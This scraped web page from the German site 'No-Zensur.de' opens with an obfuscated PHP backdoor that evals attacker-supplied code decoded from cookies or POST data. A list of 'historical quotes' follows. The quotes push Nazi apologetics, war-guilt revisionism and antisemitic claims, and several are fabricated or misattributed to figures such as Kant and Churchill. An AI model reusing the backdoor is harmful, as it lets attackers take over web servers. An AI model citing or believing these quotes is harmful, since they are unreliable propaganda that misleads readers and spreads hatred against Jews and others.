$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Historische Zitate zum nachdenken – No-Zensur.de Das freie Wort für eine freie Welt
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Historische Zitate zum nachdenken

Historische Zitate

 

 

 

 

„Alles was das Böse braucht, um zu triumphieren ist, dass die guten Menschen nichts tun.“ — Edmund Burke, amerikanischer Philosoph, 1729-1797

„Eine Regierung muss sparsam sein, weil das Geld, das sie erhält, aus dem Blut und Schweiß ihres Volkes stammt. Es ist gerecht, dass jeder einzelne dazu beiträgt, die Ausgaben des Staates tragen zu helfen. Aber es ist nicht gerecht, dass er die Hälfte seines jährlichen Einkommens mit dem Staate teilen muss.“ — Friedrich II. der Große

„Kein Mensch der Welt übertrifft die Germanen an Treue.“ — Publikums Cornelius Tacitus

„Es wird niemals so viel gelogen wie vor der Wahl, während des Krieges und nach der Jagd.“ — Otto Fürst von Bismarck (1815-1898)

„Wenn den Deutschen noch so großes Unrecht angetan wird, findet sich doch immer ein obskurer deutscher Professor, der so lange an der Objektivität herumbastelt, bis er bewiesen hat, dass die Deutschen Unrecht getan haben.“ — Baronin de Stael (1766-1817 “De l’Allemagn „

In Deutschland gilt derjenige, der auf den Schmutz hinweist, für viel gefährlicher als derjenige, der den Schmutz macht.“ — Kurt Tucholsky (1890-1935), dt. Schriftsteller

„Wir wissen nicht, wer wir sind. Das ist die deutsche Frage.“ — Dolf Sternberger (1907-89), dt. Schriftsteller u. Politologe

„Die Wahrheit siegt, aber sie kann nur siegen, wenn sie gesagt wird.“ — Johann Hus (1369-1415)

„Die ungeschriebenen Gesetze und Zwänge der Natur werden letztlich dasjenige Volk belohnen, das sich allen Widerwärtigkeiten zum Trotz erhebt, um gegen Ungerechtigkeiten, Lügen und Chaos anzukämpfen. Das war stets so in der Geschichte und so wird’s immer sein. Weder uns noch unseren Nachkommen wird dieser Kampf ums Überleben erspart bleiben.“ — Immanuel Kant (1724-1804)

„Die Neigung, sich für fremde Nationalitäten und Nationalbestrebungen zu begeistern, auch dann, wenn dieselben nur auf Kosten des eigenen Vaterlandes verwirklicht werden können, ist eine politische Krankheitsform, deren geographische Verbreitung leider auf Deutschland beschränkt ist.“ — Otto von Bismarck, 1863 im preußischen Landtag

„Die Kunst der Besteuerung liegt darin, die Gans so zu rupfen, dass man möglichst viele Federn bei möglichst wenig Geschrei erhält.“ — Jean-Baptiste Colbert (1619-1683), Finanzminister des Sonnenkönigs Ludwig XIV

„Wenn eine fremde Macht ein Volk ermahnt, die eigene Nationalität zu vergessen, so ist das kein Ausfluss von Internationalismus, sondern dient nur dem Zweck, die Fremdherrschaft zu verewigen.“ — Friedrich Engels (1820-1895)

„Die Staatsmänner werden billige Lügen erfinden und der Nation, die angegriffen wird, die Schuld geben, und jedermann wird über solche das Gewissen beschwichtigende Fälschungen erfreut sein, und er wird sie eifrig lernen und es ablehnen, irgendwelche Gegenargumente zu prüfen.“ — Mark Twain

„Nichts, was nicht gerecht geregelt wurde, wurde geregelt.“ — Abraham Lincoln

„Die Deutschen haben das Recht, ihre eigenen Bedingungen zu stellen. Sie wollen nur im Frieden leben und von den neidischen Nachbarn weder belästigt noch geteilt werden. Frankreich hat sich ständig in die deutschen Angelegenheiten gemischt…“ — Die Zeitung „Daily News”, London, am 08.09.1870 in Bezug der Kriegserklärung Frankreichs an Deutschland.

„Vor allem gilt es doch, dass wir Engländer bisher stets gegen unsere Wettbewerber in Handel und Verkehr Krieg geführt haben. Und unser Hauptwettbewerber in Handel und Verkehr ist heute nicht Frankreich, sondern Deutschland. Bei einem Krieg mit Deutschland kämen wir in die Lage, viel zu gewinnen und nichts zu verlieren…“ — Die englische Wochenzeitschrift „Saturday Review”, am 24.08.1895

„Gerade bin ich zurückgekommen von einem Besuch in Deutschland… Ich habe nun Deutschlands berühmten Führer gesehen, auch die großen Veränderungen, die er verursacht hat. Was immer einer denkt von seinen Methoden – und diese sind bestimmt nicht jene eines parlamentarischen Landes -, kann doch kein Zweifel darüber bestehen, dass er eine wunderbare Veränderung im Geist der Menschen, in ihrem Benehmen untereinander, in ihrer sozialen und ökonomischen Selbstdarstellung bewirkt hat… Es ist nicht das Deutschland des ersten Jahrzehnts nach dem Weltkrieg, das zerbrochen, niedergeschlagen, niedergedrückt, mit einem Gefühl von Unvermögen und Furchtsamkeit dahinlebte. Es ist jetzt voll von Hoffnung und Vertrauen und einem erneuten Gefühl von Bestimmung, sein eigenes Leben selbst zu lenken, ohne Einwirkung irgendwelcher Kräfte außerhalb seiner Grenzen. Das erste Mal in Deutschland nach dem Weltkrieg ist generell ein Sinn für Sicherheit unter den Menschen eingezogen. Es ist ein glückliches Deutschland. Ich habe es überall gesehen und kennengelernt.“ — Lloyd George nach seinem Besuch in Berchtesgaden bei Adolf Hitler im „Daily Express“, 17.09.1936

„Ostpreußen ist ein unzweifelhaft deutsches Land. Das ist von Kindheit an meine Meinung, die nicht erst der Bestätigung durch eine Volksabstimmung bedurfte. Und dass dies meine Meinung ist, können Sie ruhig Ihr Ostpreußen in einer öffentlichen Versammlung in Königsberg zur Beruhigung mitteilen.“ — Der polnische Staatspräsident und Marschall Josef Pilsudski, welcher in den dreißiger Jahren unter mysteriösen Umständen ums Leben kam, gegenüber dem deutschen Außenminister Gustav Stresemann am 10.Dezember 1927

„Am 2.Mai brach der von Korfanty aufgezogene dritte Aufstand in Oberschlesien aus. Es begann eine entsetzliche Schreckensherrschaft. Die Mordtaten vervielfachten sich. Die Deutschen wurden gemartert, verstümmelt, zu Tode gepeinigt, ihre Leichen geschändet. Dörfer und Schlösser wurden ausgeraubt, in Brand gesteckt, in die Luft gesprengt. Die im Bild in der offiziellen Veröffentlichung der deutschen Regierung 1921 festgehaltenen Vorfälle überschreiten an Grausamkeit die schlimmsten Vorgänge, die man sich vorstellen kann.“ — Prof. Dr. René Martel in seinem Buch „Les frontières orientals de l`Allemagne“ (Paris 1930) über die polnischen Raubzüge in Oberschlesien 1921

„Die natürliche Grenze Polens ist im Westen die Oder, im Osten die mittlere und untere Düna …“ — Der polnische Westmarkenverband 1926 (vgl. Dr. rer. nat. Heinz Splittgerber, „Unkenntnis oder Infamie?“, Verlag „Der Schlesier“, Recklinghausen, S. 6)

„Die Polen haben das letzte Gefühl für Maß und Größe verloren. Jeder Ausländer, der in Polen die neuen Landkarten betrachtet, worauf ein großer Teil Deutschlands bis in die Nähe von Berlin, weiter Böhmen, Mähren, Slowakei und ein riesiger Teil Russlands in der überaus reichen Phantasie der Polen bereits annektiert sind, muss denken, dass Polen eine riesige Irrenanstalt geworden ist.“ — vgl. Ward Hermans, flämischer Schriftsteller, 3.8.1939, bei Lenz, F., Nie wieder München, Heidelberg 1965, Bd. I, S. 207

„Unsere jüdischen Interessen erfordern die endgültige Vernichtung Deutschlands!“ — W. Jabotinski, Begründer von „Irgun Zwai Leumi“, Januar, 1934, (vgl. Walendy, „Historische Tatsachen“, Heft 15, S. 40)

„Dem 19. Jahrhundert gelang nur eine ethische Konstruktion großen Stils: das preußische Offizierskorps.“ — Nicolás Gómez Dávila, 1913-1994, „Einsamkeiten – Glossen und Text in einem“, Wien 1987, S. 140

„Die internationale Regierung der UNO ist eigentlich eine gemeinsame Regierung der USA und der Sowjet-Union in einem“ — American Jewish Committee in “Commentary” (New York) 1958 Zitate 1. Weltkrieg

„Der fürchterlichste aller Kriege (1. Weltkrieg) hatte einen Friedensvertrag zur Folge, der kein Vertrag des Friedens ist, sondern die Fortsetzung des Krieges. Europa wird durch ihn zugrunde gehen, wenn es nicht die Vernunft zu seinem Ratgeber wählt.“ — Anatole France, französischer Dichter

„Das, was ich Ihnen zu versichern berechtigt bin, besonders nach meiner gestrigen Unterhaltung mit dem Zaren, ist der Wille, der alle drei Mächte (England, Russland, Frankreich) beseelt, der unversöhnliche Wille, Deutschland zu zerschmettern…“ — Der französische Botschafter Paloclogue am Zaren Hof in Petersburg zum italienischen Botschafter Carlotti am 06.08.1914

„Ich war zutiefst beunruhigt. Der politische und wirtschaftliche Teil (des Versailler Diktats) waren von Hass und Rachsucht durchsetzt … Es waren Bedingungen geschaffen, unter denen Europa niemals wiederaufgebaut oder der Menschheit der Frieden zurückgegeben werden konnte.“ — Herbert Hoover, US-Präsident, 1919

„Der Vertrag dürfte Briganten, Imperialisten und Militaristen zufrieden stellen. Er ist ein Todesstoß für alle diejenigen, die gehofft haben, das Ende des Krieges werde den Frieden bringen. Es ist kein Friedensvertrag, sondern eine Erklärung für einen weiteren Krieg. Es ist der Verrat an der Demokratie und an den Gefallenen des Krieges. Der Vertrag bringt die wahren Ziele der Verbündeten ans Licht.“ — Snowdon, später Mitglied des englischen Parlaments, zum Vertrag von Versailles, 1919

„Die gesamte Dokumentation, die uns gewisse unserer Alliierten vorgelegt haben, war erlogen und erschwindelt. Wir haben auf Grund von Fälschungen entschieden.“ — Der ehemalige Premierminister George in Bezug auf Versailles, im Oktober 1928

„Die nicht rechtzeitige Revision des Versailler Vertrages wird in mehr oder minder naher Zukunft Europa wieder in einen Krieg hineinziehen, dessen Krönung die bolschewistische Weltrevolution sein wird.“ — Gustave Hervé, französischer Politiker, 1931, (vgl. Hennig, E. „Zeitgeschichtliche Aufdeckung“, München, 1964, S. 39)

„… dass die Signatarmächte des Vertrages von Versailles den Deutschen feierlich versprachen, man würde abrüsten, wenn Deutschland mit der Abrüstung vorangehe. Vierzehn Jahre! lang hatte Deutschland auf die Einhaltung dieses Versprechens gewartet … In der Zwischenzeit haben alle Länder … ihre Kriegsbewaffnung noch gesteigert und sogar den Nachbarn Geldanleihen zugestanden, mit denen diese wiederum gewaltige Militär-Organisationen dicht an Deutschlands Grenzen aufbauten. Können wir uns dann wundern, dass die Deutschen zu guter Letzt zu einer Revolution und Revolte gegen diese chronischen Betrügereien der großen Mächte getrieben werden?“ — Lloyd George am 29. November 1934 im englischen Unterhaus, Englands Premier während der Kriegszeit, (vgl. Sündermann, H. „Das dritte Reich“, Leoni 1964, S. 37) Zitate 2. Weltkrieg

„Seit Monaten führte jede jüdische Gemeinde den Kampf gegen Deutschland bei jedem Vortrag, bei jedem Kongress, in den Gewerkschaften. Es gibt Gründe zu der Annahme, dass unser Beitrag zu diesem Kampf eine allgemeine Bedeutung hat. Wir werden zum geistigen und materiellen Angriff der gesamten Welt auf Deutschland einsetzen. Deutschland trachtet danach, wieder eine große Nation zu werden, seine verlorenen Gebiete und seine verlorenen Kolonien wieder zu bekommen. Die jüdischen Interessen verlangen indes die totale Vernichtung Deutschlands. Im Ganzen wie im Einzelnen stellt Deutschland eine Gefahr für uns Juden dar.“ — Wladimir Jabotinski, Gründer des Irgun, 1. Januar 1934, in „Marcha Rentsch”

„Dieser Krieg ist ein englischer Krieg, und sein Ziel ist die Vernichtung Deutschlands.“ — Winston Churchill, am 10. Mai 1940, Antrittsrede nach Übernahme der Regierung
„Wir sind bereit, mit dem Teufel einen Pakt abzuschließen, wenn er uns im Kampf gegen Hitler hilft. Hört ihr: Gegen Deutschland, nicht nur gegen Hitler. Das deutsche Blut wird in einem kommenden Krieg in solchen Strömen vergossen werden, wie dies seit Entstehung der Welt noch nicht gesehen worden ist.“ — Die Warschauer Zeitung “Depesza” vom 20. August 1939

„Die Furcht, ihre Vorherrschaft zu verlieren, diktierte der britischen und französischen Regierung ihre Politik der Aufhetzung zum Krieg gegen Deutschland. Die britische Regierung proklamiert, dass der Krieg gegen Deutschland nicht mehr und nicht weniger als die Vernichtung des Hitlerismus’ zum Ziele habe. Ein solcher Krieg kann aber auf keine Weise gerechtfertigt werden.“ — Der sowjetische Außenminister Molotow in einer Rede am 31.10.1939

„Wenn wir den europäischen Kontinent wirklich führen wollen (…) so dürfen wir aus verständlichen Gründen diese nicht als eine deutsche Großraumwirtschaft öffentlich deklarieren. Wir müssen grundsätzlich immer von Europa sprechen, denn die deutsche Führung ergibt sich ganz von selbst.“ — Werner Ditz, 1940, Denkschrift

„Ich freue mich, dass er gerade ein Österreicher ist, der meinen Traum, Österreich nach Deutschland zurückzuholen, wahrgemacht hat.“ — Staatspräsident von Österreich, Karl Renner am 14. März 1938 im Wiener Rathaus

„Wenn England einmal so geschlagen darniederliegen sollte wie Deutschland nach dem Weltkrieg, dann wünschte ich mir für England einen Mann wie Adolf Hitler.“ — Winston Churchill, 1938

„Verträge sind wie Pasteten: gemacht, um gebrochen zu werden.“ — Stalin über den „Hitler-Stalin-Pakt“ oder „Ribbentrop-Molotow-Vertrag“ von 1939

„Wir stehen im Krieg mit Deutschland seit Hitlers Machtübernahme.“ — „Jewish Chronicle”, am 8. Mai 1942

„Natürlich würde ein Bevölkerungsaustausch im Osten und Norden die Folge sein. Die Umsiedlung von mehreren Millionen Menschen müsste vom Osten nach dem Westen oder Norden durchgeführt werden, ebenso die Vertreibung der Deutschen – denn das wurde vorgeschlagen: völlige Vertreibung der Deutschen – aus den Gebieten, die Polen im Westen und Norden gewinnt. Denn die Vertreibung ist, soweit wir in der Lage sind es zu überschauen, das befriedigendste und dauerhafteste Mittel. Es wird keine Mischung der Bevölkerung geben, wodurch endlose Unannehmlichkeiten entstehen, wie zum Beispiel im Fall Elsass-Lothringen. Reiner Tisch wird gemacht werden. Mich beunruhigt die Aussicht des Bevölkerungsaustausches ebenso wenig wie die großen Umsiedlungen, die unter modernen Bedingungen viel leichter möglich sind als je zuvor.“ — Winston Churchill, vor dem Unterhaus in London am 13. Dezember 1944

„Es ist uns gelungen, die Vereinigten Staaten in den Ersten Weltkrieg zu ziehen, und wenn sie (die USA) im Zusammenhang mit Palästina und den jüdischen Streitkräften tun, was wir verlangen, dann können wir die Juden in den USA so weit bekommen, dass sie die USA auch diesmal hineinschleppen. (in den 2. Weltkrieg)“ — Weizmann zu Churchill, September 1941, (vgl. Lenski, R. “Der Holocaust vor Gericht”, Samisdat Publ. 1993, S. 555 (Quelle David Irving)

„Jetzt haben wir Hitler zum Krieg gezwungen, so dass er nicht mehr auf friedlichem Wege ein Stück des Versailler Vertrages nach dem anderen aufheben kann.“ — Lord Halifax, englischer Botschafter in Washington, 1939, (vgl. „Nation Europa“, Jahrg. 1954, Heft 1, S. 46)

„Die Minderheiten in Polen sollen verschwinden. Die polnische Politik ist es, die dafür sorgt, dass sie nicht nur auf dem Papier verschwinden. Diese Politik wird rücksichtslos vorwärtsgetrieben und ohne die geringste Beachtung der öffentlichen Meinung der Welt, auf internationale Verträge oder auf den Völkerbund. Die Ukraine ist unter der polnischen Herrschaft zur Hölle geworden. Von Weißrussland kann man dasselbe mit noch größerem Recht sagen. Das Ziel der polnischen Politik ist das Verschwinden der nationalen Minderheiten, auf dem Papier und in der Wirklichkeit.“ — Manchester Guardian, 14.Dezember 1931

„Der polnische Terror in der Ukraine ist heute schlimmer als alles andere in Europa. Aus der Ukraine ist ein Land der Verzweiflung und Zerstörung geworden. Was umso aufreizender ist, als die Rechte der Ukrainer völkerrechtlich gewährleistet sind, während der Völkerbund allen Appellen und Darlegungen gegenüber taub ist und die übrige Welt nichts davon weiß und sich nicht darum kümmert.“ — Manchester Guardian, 17.Oktober 1930; beide Zitate nach Ulrich Stern

„Die wahren Schuldigen am Zweiten Weltkrieg“ „Wir sind uns bewusst, dass der Krieg zwischen Polen und Deutschland nicht vermieden werden kann. Wir müssen uns systematisch und energisch für diesen Krieg vorbereiten. Die heutige Generation wird sehen, dass ein neuer Sieg bei Grunwald in die Seiten der Geschichte eingeschrieben wird. Aber wir werden dieses Grunwald in den Vorstädten von Berlin schlagen. Unser Ideal ist, Polen mit Grenzen an der Oder im Westen und der Neiße in der Lausitz abzurunden und Preußen vom Pregel bis zur Spree einzuverleiben. In diesem Krieg werden keine Gefangenen genommen, es wird kein Platz für humanitäre Gefühle sein.“ — Das zensierte und der polnischen Militärdiktatur nahestehende Blatt Mosarstwowiecz 1930, also noch drei Jahre vor Hitlers Machtergreifung

„Polen will den Krieg mit Deutschland, und Deutschland wird ihn nicht vermeiden können, selbst wenn es das wollte.“ — Rydz-Smigly, Generalinspekteur der polnischen Armee in einem öffentlichen Vortrag vor polnischen Offizieren, Sommer 1939, (vgl. Dr. rer. nat. Heinz Splittgerber, „Unkenntnis oder Infamie?“, Verlag „Der Schlesier“, Recklinghausen, S. 7)

„Es wird die polnische Armee sein, die in Deutschland am ersten Tage des Krieges einfallen wird.“ — Erklärung des polnischen Botschafters in Paris am 15.8.1939, (vgl. Freund, M. „Weltgeschichte“, Bd. III, S. 90)

„Der springende Punkt ist hier, dass Hitler, im Gegensatz zu Churchill, Roosevelt und Stalin, keinen allgemeinen Kriegsausbruch 1939 wollte.“ — vgl. Barnes „Blasting of the historical Blackout“, Oxnard, Kalif., 1962

„Unsere Sache ist, Deutschland, dem Staatsfeind Nr. 1, erbarmungslos den Krieg zu erklären.“ — Bernhard Lecache, Präsident der jüdischen Weltliga, 9.11.1938
„Es ist unsere Sache, die moralische und wirtschaftliche Blockade Deutschlands zu organisieren und diese Nation zu vierteilen: … Es ist unsere Sache, endlich einen Krieg ohne Gnade zu erwirken.“ — Lecache, Paris, 18. November 1938 (vgl. Lecache, B. „Le droit de vivre“)

„Mit Gräuelpropaganda haben wir den Krieg gewonnen …Und nun fangen wir erst richtig damit an! Wir werden diese Gräuelpropaganda fortsetzen, wir werden sie steigern bis niemand mehr ein gutes Wort von den Deutschen annehmen wird, bis alles zerstört sein wird, was sie etwa in anderen Ländern noch an Sympathien gehabt haben, und sie selber so durcheinandergeraten sein werden, dass sie nicht mehr wissen, was sie tun. Wenn das erreicht ist, wenn sie beginnen, ihr eigenes Nest zu beschmutzen, und das nicht etwa zähneknirschend, sondern in eilfertiger Bereitschaft, den Siegern gefällig zu sein, dann erst ist der Sieg vollständig. Endgültig ist er nie. Die Umerziehung (Reeducation) bedarf sorgfältiger, unentwegter Pflege wie englischer Rasen. Nur ein Augenblick der Nachlässigkeit, und das Unkraut bricht durch, jenes unausrottbare Unkraut der geschichtlichen Wahrheit.“ — Sefton Delmer, ehemaliger britischer Chefpropagandist nach der Kapitulation 1945 zu dem deutschen Völkerrechtler Prof. Grimm, (Die Propaganda der Alliierten wird durch den Überleitungsvertrag Art. 7.1 als OFFENSICHTLICHE TATSACHEN vom „deutschen’ Strafrecht geschützt.)

„Ich will den Frieden – und ich werde alles daransetzen, um den Frieden zu schließen. Noch ist es nicht zu spät. Dabei werde ich bis an die Grenzen des Möglichen gehen, soweit es die Opfer und Würde der deutschen Nation zulassen. Ich weiß mir Besseres als Krieg! Allein, wenn ich an den Verlust des deutschen Blutes denke – es fallen ja immer die Besten, die Tapfersten und Opferbereitesten, deren Aufgabe es wäre, die Nation zu verkörpern, zu führen. Ich habe es nicht nötig, mir durch Krieg einen Namen zu machen wie Churchill. Ich will mir einen Namen machen als Ordner des deutschen Volkes, seine Einheit und seinen Lebensraum will ich sichern, den nationalen Sozialismus durchsetzen, die Umwelt gestalten.“ — Adolf Hitler nach Beendigung des Frankreich-Feldzuges in einem Gespräch mit seinem Architekten Prof. Hermann Giesler, Giesler: „Ein anderer Hitler“, Seite 395
„Es bleibt nunmehr übrig, den besten Weg, die praktischste und schnellste Art und Weise zu finden, wie dem deutschen Volk die Todesstrafe auferlegt werden kann. Ein Blutbad und eine Massenhinrichtung müssen selbstverständlich von vornherein ausgeschlossen werden. Sie sind nicht nur undurchführbar, wo sie auf eine Bevölkerung von etwa siebzig Millionen angewandt werden sollen, sondern derartige Methoden sind auch mit moralischen Verpflichtungen und sittlichen Gepflogenheiten der zivilisierten Welt unverträglich. Es bleibt also nur noch ein Weg offen, um die Welt für immer vom Deutschtum zu befreien, nämlich der, die Quelle zum Versiegen zu bringen, die diese kriegslüsternen Seelen erzeugt, indem man das Volk daran hindert, seine Gattung je wieder fortzupflanzen.“ — Präsident der Amerikanischen Friedensvereinigung und amerikanischer Jude Theodore Nathan Kaufman 1941

„Ich nehme an, dass es klar ist, dass das Ziel Wohngebiete sind, nicht etwa Schiffswerften oder Flugzeugfabriken.“ — Direktive an den britischen „Chief of Air Staff“ / 05.02.1942
„Unser Hauptziel ist die Vernichtung von so viel Deutschen, wie möglich. Ich erwarte die Vernichtung jedes Deutschen westlich des Rheines und innerhalb des Gebietes, das wir angreifen.“ — General Eisenhower zu Beginn des Roehr-Angriffes Zitate aus der Nachkriegszeit

„Das unverzeihliche Verbrechen Deutschlands vor dem Zweiten Weltkrieg war der Versuch, seine Wirtschaftskraft aus dem Welthandelssystem herauszulösen und ein eigenes Austauschsystem zu schaffen, bei dem die Weltfinanz nicht mehr mitverdienen konnte.“ — Winston Churchill, “Der Zweite Weltkrieg”, 1960

„Man mag heute darüber sagen, was man will: Deutschland war im Jahre 1936 ein blühendes, glückliches Land. Auf seinem Antlitz lag das Strahlen einer verliebten Frau. Und die Deutschen waren verliebt – verliebt in Hitler… Und sie hatten allen Grund zur Dankbarkeit. Hitler hatte die Arbeitslosigkeit bezwungen und ihnen eine neue wirtschaftliche Blüte gebracht. Er hatte den Deutschen ein neues Bewusstsein ihrer nationalen Kraft und ihrer nationalen Aufgabe vermittelt.“ — Sefton Delmer, britischer Chefpropagandist während des Zweiten Weltkrieges, “Die Deutschen und ich”, Hamburg 1961, S. 288 „

Man ist in Deutschland allzu bereit, sich offenkundig zum Bösen zu bekennen, solange es so aussieht, als wollte diesem die Geschichte recht geben.“ — Thomas Mann
„Immer doch schreibt der Sieger die Geschichte der Besiegten. Dem Erschlagenen entstellt der Schläger die Züge. Aus der Welt geht der Schwächere, und zurück bleibt die Lüge.“ — Berthold Brecht (1898-1956)

„Nicht die politischen Lehren Hitlers haben uns in den Krieg gestürzt. Anlass war der Erfolg seines Wachstums, eine neue Wirtschaft aufzubauen. Die Wurzeln des Krieges waren Neid, Gier und Angst.“ — J. F. C. Fuller, Historiker und Generalmajor, “Der zweite Weltkrieg”, 1950

„Die Einrichtung einer europäischen Wehrmacht, wie sie heute – hoffentlich nicht zu spät – von den Politikern der Westmächte gefordert wird, konnte in unseren Reihen bereits mit bestem Erfolg erprobt werden.“ — Herbert Gille, ehemaliger SS-Offizier, Nürnberger Nachrichten, 20.10.1952

„Gemäß dem Potsdamer Abkommen ist das deutsche Gebiet östlich von Oder und Neiße als Teil der sowjetischen Besatzungszone Deutschlands der Republik Polen nur zur einstweiligen Verwaltung übergeben worden. Das Gebiet bleibt ein Teil Deutschlands. Niemand hat das Recht, aus eigener Machtvollkommenheit Land und Leute preiszugeben oder eine Politik des Verzichts zu treiben.“ — Feierliche Erklärung aller Bundestagsfraktionen mit Ausnahme der KPD am 13. Juni 1950

„Politische Dummheit kann man lernen, man braucht nur deutsche Schulen zu besuchen. Die Zukunft Deutschlands wird wahrscheinlich für den Rest des Jahrhunderts von Außenstehenden entschieden. Das einzige Volk, dass dies nicht Weiß, sind die Deutschen.“ — Der Londoner Spectator am 16.11.1959

„Welcher Bundespräsident war kein Nazi? Man weiß, dass der Ex-Bundespräsident Scheel vorher als Nazi Außenminister geworden war. Deswegen konnte doch Werner Nachmann, der Direktor des Kuratoriums der Juden in Deutschland, im Außenministerium die Korrespondenz diktieren, nicht der Außenminister. Wieso konnte er diktieren, wieso konnte er alles erfahren? Bitte, das ist Tatsache. Dann wurde Scheel Präsident der Bundesrepublik. Warum? Normalerweise bleibt man zwei Legislaturperioden Bundespräsident. Mit Scheel (FDP) machte man eine Ausnahme. Die CDU wollte sich rächen, weil die FDP sich von ihr getrennt und eine SPD/FDP-Regierung gebildet hatte. Also sollte Carstens (CDU) Bundespräsident werden. Die Gegenseite ließ sofort durchblicken, dass Carstens offizieller Nazi war. Die CDU gab zurück nach dem Leitsatz – Haust du meinen Juden, haue ich deinen Juden – und verriet, dass auch Scheel ein Nazi war.“ — J. G. Burg, Publizist, in „jüdisch-deutscher Dialog”

„… Der letzte Krieg hat deutlicher als sonst die satanische Natur der Zivilisation erwiesen … Jedes Sittengesetz ist von den Siegern … gebrochen worden. Keine Lüge war zu schlecht, um angewendet zu werden…“ — Mahatma Gandhi, „Hier spricht Gandhi.“ 1954, Barth-Verlag München

„Hitler und das deutsche Volk haben den Krieg nicht gewollt. Wir haben auf die verschiedenen Beschwörungen Hitlers um Frieden nicht geantwortet. Nun müssen wir feststellen, dass er recht hatte. An Stelle einer Kooperation Deutschlands, die er uns angeboten hatte, steht die riesige imperialistische Macht der Sowjets. Ich fühle mich beschämt, jetzt sehen zu müssen, wie dieselben Ziele, die wir Hitler unterstellt haben, unter einem anderen Namen verfolgt werden.“ — Sir Hartley Shawcross, der britische Generalankläger in Nürnberg (vgl. Shawcross „Stalins Schachzüge gegen Deutschland“, Graz, 1963)

„Sie müssen sich darüber klar sein, dass dieser Krieg nicht gegen Hitler oder den Nationalsozialismus geht, sondern gegen die Kraft des deutschen Volkes, die man für immer zerschlagen will, gleichgültig, ob sie in den Händen Hitlers oder eines Jesuitenpaters liegt.“ — Mitteilung an einen Beauftragten des deutschen „Widerstandes“ während des Krieges (vgl. Kleist, Peter „Auch du warst dabei“, Heidelberg, 1952, S. 370 und Emrys Hughes, Winston Churchill – His Career in War and Peace, S. 145)

„Die Anstrengungen sind zu konzentrieren auf die Moral der feindlichen Zivilbevölkerung.“ — Directive No. 22 / 04.02.1942

„Deutschland wird nicht besetzt zum Zwecke der Befreiung, sondern als besiegte Feindnation…“ — Directive JCS 1067/6 „Geheimdokumente enthüllen: London wies 1940
Friedensfühler zurück. Das britische Kriegskabinett unter Winston Churchill wies im Juli und August 1940 mehrere von deutscher Seite und neutraler Seite kommende ‘Friedensfühler’ zurück. Dies geht aus bisher geheim gehaltenen britischen Kabinettspapieren des Jahres 1940 hervor, die jetzt nach der vorgeschriebenen 30-jährigen Sperre freigegeben wurden…“ —

„Augsburger Allgemeine“ vom 2. Januar 1970 „Wir Deutschen sollten die Wahrheit auch dann ertragen lernen, wenn sie für uns günstig ist“
• Heinrich von Brentano „Die Deutschen sind ohne Frage die wunderbarsten Soldaten.“ — Feldmarschall Lord Alanbrooke, Chef des britischen Generalstabs

• „Die jungen Soldaten Hitlers waren erstklassig ausgebildet und motiviert; sie haben unsere Truppen überall zum Narren gehalten.“ — Winston Churchill

„Reiste man nach dem Kriege durch die befreiten Länder, so hörte man allenthalben das Lob des deutschen Soldaten und nur zu oft wenig freundliche Betrachtungen über das Verhalten der Befreiungstruppen.“ — Basil Liddel Hart, brit. Militärhistoriker

„Die Deutschen müssten Engel oder Heilige sein, um zu vergessen und zu vergeben, was sie an Ungerechtigkeiten und Grausamkeiten zweimal in einer Generation zu erleiden hatten, ohne dass sie ihrerseits die Alliierten herausgefordert hätten.

“ Wären wir Amerikaner so behandelt worden, unsere Racheakte für unser Leiden würden keine Grenzen kennen. — Reverend Ludwig a. Fritsch, Ph. D., D. D. emer., Chicago, 1948 Zitate über die deutsche Wehrmacht

„Die Deutschen sind prächtige Kämpfer und ihr Generalstab besteht aus wahren Meistern der Kriegskunst.“ — Alexander Cadogan, britischer Unterstaatssekretär im Zweiten Weltkrieg

„Den Charakter eines Volkes erkennt man daran, wie es nach einem verlorenen Krieg mit seinen Soldaten umgeht.“ — Charles de Gaulle, General und französischer Staatspräsident

„…Nicht die politischen Lehren Hitlers haben uns in den Krieg gestürzt. Anlass war der Erfolg seines Wachstums, eine neue Wirtschaft aufzubauen. Die Wurzeln des Krieges waren Neid, Gier und Angst…“ Generalmajor John Frederick Charles Fuller – britischer Militärhistoriker (vgl. “Der Zweite Weltkrieg“, Wien 1950)

“…Führt Deutschland ein vernünftiges Geldsystem ein, in welchem kein Geld gekauft (gehortet) werden kann, dann wird die Goldblase platzen, und die Grundlagen des Staatskapitalismus brechen auseinander. Daher muss es um jeden Preis daran gehindert werden; daher auch die fieberhaften Vorbereitungen zu seiner Vernichtung…” J. F. C. Fuller – britischer General und Militärschriftsteller 1938 in seinem Buch “Der erste der Völkerbundkriege”

